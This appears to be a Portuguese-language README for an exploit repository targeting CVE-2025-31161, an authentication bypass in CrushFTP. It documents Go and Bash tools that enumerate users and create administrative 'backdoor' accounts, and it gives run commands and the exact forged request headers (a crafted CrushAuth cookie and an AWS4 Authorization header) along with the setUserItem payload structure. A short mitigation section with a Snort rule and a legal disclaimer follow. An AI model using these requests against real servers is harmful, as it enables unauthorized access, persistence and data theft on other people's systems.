CrushFTP Authentication Bypass - CVE-2025-31161

Um conjunto abrangente de ferramentas para explorar o CVE-2025-31161, uma vulnerabilidade de bypass de autenticação no CrushFTP que permite a criação não autorizada de contas de usuário.

🔍 O que é CVE-2025-31161?

CVE-2025-31161 é uma vulnerabilidade crítica de bypass de autenticação no CrushFTP que permite a atacantes criar contas de usuário não autorizadas sem autenticação adequada. Esta vulnerabilidade existe na funcionalidade de gerenciamento de usuários da interface web.

Detalhes Técnicos

• Pontuação CVSS: A definir
• Software Afetado: Interface Web do CrushFTP
• Vetor de Ataque: Rede
• Autenticação Necessária: Nenhuma
• Impacto: Comprometimento completo do sistema por meio da criação não autorizada de contas

🚀 Funcionalidades

• Suporte a Múltiplas Linguagens: Implementações em Go e Bash
• Detecção Inteligente de Vulnerabilidade: Verifica automaticamente se o alvo é vulnerável antes da exploração
• Enumeração de Usuários: Lista usuários existentes em alvos vulneráveis
• Criação de Usuários: Cria novas contas administrativas
• Modo Interativo: Solicita credenciais apenas quando o alvo é confirmado como vulnerável
• Flags Abreviadas: Acesso rápido com as flags -t, -p, -tu
• Suporte a Portas Personalizadas: Porta configurável para diferentes cenários de implantação
• Foco Educacional: Projetado para desafios CTF e pesquisa em segurança

📁 Estrutura do Repositório

CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # Esta documentação
├── cve-2025-31161.go        # Implementação em Go (recomendada)
├── cve-2025-31161.sh        # Implementação em Bash
└── LICENSE                  # Licença MIT

🛠️ Instalação e Requisitos

Pré-requisitos

Para a Versão em Go (Recomendada)

# Instalar Go (se ainda não estiver instalado)
sudo apt install golang-go
# ou
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Para a Versão em Bash

# Requer curl (geralmente já instalado)
sudo apt install curl

Configuração Rápida

git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 Uso

Versão em Go (Recomendada)

Listar Usuários

# Uso básico com flags abreviadas
go run cve-2025-31161.go -t example.com -lu

# Com porta personalizada
go run cve-2025-31161.go -t example.com -p 8080 -lu

# Flags na forma longa
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

Adicionar Novo Usuário

# Criar novo usuário (irá solicitar nome de usuário/senha)
go run cve-2025-31161.go -t example.com -au

# Com usuário alvo personalizado (padrão: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# Flags na forma longa
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Versão em Bash

Listar Usuários

# Uso básico
./cve-2025-31161.sh -t example.com -lu

# Com porta personalizada
./cve-2025-31161.sh -t example.com -p 8080 -lu

Adicionar Novo Usuário

# Criar novo usuário
./cve-2025-31161.sh -t example.com -au

# Com configurações personalizadas
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

Flags Disponíveis

Exemplos de Uso

# Exemplo 1: Enumerar usuários no alvo
go run cve-2025-31161.go -t ftp.example.htb -lu

# Exemplo 2: Criar conta de backdoor
go run cve-2025-31161.go -t ftp.example.htb -au
# Em seguida, insira: username: backdoor, password: P@ssw0rd123

# Exemplo 3: Porta não padrão com enumeração de usuários
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# Visualizar ajuda
./cve-2025-31161.sh --help

🔄 Como Funciona

flowchart TD
    A[Iniciar Exploração] --> B[Verificar Conectividade do Alvo]
    B --> C{Alvo Atingível?}
    C -->|Não| D[Sair: Conexão Falhou]
    C -->|Sim| E[Enviar Requisição getUserList]
    E --> F{Resposta Contém OK?}
    F -->|Não| G[Sair: Não Vulnerável]
    F -->|Sim| H[Alvo é Vulnerável!]
    H --> I{Modo Selecionado?}
    I -->|Listar Usuários -lu| J[Analisar Resposta XML]
    J --> K[Exibir Lista de Usuários]
    K --> L[Sair: Sucesso]
    I -->|Adicionar Usuário -au| M[Solicitar Nome de Usuário]
    M --> N[Solicitar Senha]
    N --> O[Enviar Requisição de Aquecimento]
    O --> P[Criar Payload de Criação de Usuário]
    P --> Q[Enviar Requisição setUserItem]
    Q --> R{Usuário Criado com Sucesso?}
    R -->|Sim| S[Sucesso: Conta Criada]
    R -->|Não| T[Falhou: Exploração Falhou]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 Fluxo de Exploração Explicado

Etapa 1: Detecção de Vulnerabilidade

O script primeiro envia uma requisição getUserList para verificar se o alvo é vulnerável:

GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Se a resposta contiver <response_status>OK</response_status>, o alvo é vulnerável.

Etapa 2a: Enumeração de Usuários (Modo Listar Usuários)

Ao usar a flag -lu, o script analisa a resposta XML e extrai nomes de usuário:

<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

Saída:

[+] Usuários:
  - ben
  - crushadmin
  - default

Etapa 2b: Criação de Conta de Usuário (Modo Adicionar Usuário)

Ao usar a flag -au, o script envia uma requisição setUserItem com um payload XML malicioso:

POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

Etapa 3: Verificação

O script verifica a presença de <response_status>OK</response_status> na resposta para confirmar a criação bem-sucedida do usuário.

⚠️ Detalhes da Vulnerabilidade

Causa Raiz

A vulnerabilidade decorre de verificações de autenticação insuficientes na funcionalidade de gerenciamento de usuários da interface web do CrushFTP. O aplicativo aceita requisições de criação de usuário sem validar adequadamente as permissões do solicitante.

Avaliação de Impacto

• Confidencialidade: ALTA - Acesso não autorizado ao sistema de arquivos
• Integridade: ALTA - Capacidade de modificar/enviar arquivos
• Disponibilidade: MÉDIA - Potencial de esgotamento de recursos

Cenários de Ataque

1. Acesso Inicial: Criar contas de backdoor para acesso persistente
2. Escalação de Privilégios: Criar contas de nível administrativo
3. Exfiltração de Dados: Acessar arquivos sensíveis através da interface FTP
4. Movimentação Lateral: Usar o servidor FTP comprometido como ponto de pivô

🛡️ Detecção e Mitigação

Métodos de Detecção

• Monitorar requisições setUserItem incomuns nos logs web
• Verificar novas contas de usuário criadas fora dos processos normais
• Implementar detecção de anomalias para padrões de bypass de autenticação

Estratégias de Mitigação

1. Imediata: Bloquear o acesso aos endpoints /webinterface/function/
2. Curto Prazo: Atualizar para a versão corrigida do CrushFTP
3. Longo Prazo: Implementar controles de autenticação adequados

Assinaturas de Rede

# Exemplo de Regra Snort/Suricata
alert http any any -> any any (msg:"Tentativa de Exploração CrushFTP CVE-2025-31161"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 Casos de Uso Educacionais

Cenários CTF

• Segurança de Aplicações Web: Compreender vulnerabilidades de bypass de autenticação
• Testes de Penetração: Demonstrar técnicas de exploração do mundo real
• Exercícios de Red Team: Simular ataques estilo APT

Objetivos de Aprendizagem

• Compreender a manipulação de requisições HTTP
• Técnicas de injeção XML
• Metodologias de bypass de autenticação
• Desenvolvimento de exploits em múltiplas linguagens

🚨 Aviso Legal

⚠️ IMPORTANTE: Esta ferramenta foi projetada para:

• Fins educacionais
• Testes de penetração autorizados
• Competições CTF
• Pesquisa em segurança em ambientes controlados

NÃO USE em sistemas sem permissão explícita por escrito. O acesso não autorizado a sistemas computacionais é ilegal e pode resultar em severas consequências legais.

🤝 Contribuição

Contribuições são bem-vindas! Por favor:

1. Faça um fork do repositório
2. Crie uma branch de funcionalidade (git checkout -b feature/melhoria)
3. Faça commit das suas alterações (git commit -am 'Adicionar nova funcionalidade')
4. Envie para a branch (git push origin feature/melhoria)
5. Crie um Pull Request

Diretrizes de Desenvolvimento

• Siga o estilo de código existente
• Adicione comentários abrangentes
• Teste em múltiplos ambientes alvo
• Atualize a documentação para novas funcionalidades

📝 Histórico de Versões

📚 Referências

• Detalhes do CVE-2025-31161
• Site Oficial do CrushFTP
• Bypass de Autenticação OWASP
• Pesquisa Original por Immersive Labs

📧 Contato

Para perguntas, sugestões ou preocupações de segurança, por favor abra uma issue neste repositório.